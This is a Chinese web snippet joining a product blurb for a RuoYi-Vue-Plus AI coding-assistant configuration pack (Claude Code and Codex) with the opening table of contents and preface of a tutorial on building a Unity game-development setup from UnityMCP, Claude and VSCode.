RuoYi-Vue-Plus AI 智能编程助手 商品简介 基于 RuoYi-Vue-Plus 5.X 企业级后端框架,深度定制的 AI 智能编程助手配置包。支持 Claude Code 和 OpenAI Codex 双 AI 引擎,内置 40+ 专业开发技能、10 大快捷命令、智能钩子系统,让 AI 真正理解您的项目架构和开发规范,实现 10 倍开发效率提升。 核心亮点 🚀 双 AI 引擎支持 引擎配置目录说明Claude Code.claude/Anthropic Claude 官方 CLI 工具配置OpenAI Codex.codex/OpenAI Codex CLI

UnityMCP+Claude+VSCode,构建最强AI游戏开发环境

UnityMCP+Claude+VSCode,构建最强AI游戏开发环境

* 前言 * 一、UnityMCP+Claude+VSCode,构建最强AI 游戏开发环境 * 1.1 介绍 * 1.2 使用说明及下载 * 二、VSCode配置 * 2.1 连接UnityMCP * 2.2 在VSCode中添加插件 * 2.3 Claude安装 * 2.4 VSCode MCP配置 * 2.5 使用Claude开发功能 * 三、相关问题 * 总结 前言 * 本篇文章来介绍使用 UnityMCP+Claude+VSCode,打造一个更智能、高效的游戏开发工作流。 * 借助MCP工具,Claude可以直接与Unity编辑器进行双向指令交互,开发者则可以直接使用自然语言进行Unity游戏开发。 * 这一组合充分利用了AI的代码生成、问题诊断与创意辅助能力,极大提升了Unity项目的开发效率与质量。 一、UnityMCP+Claude+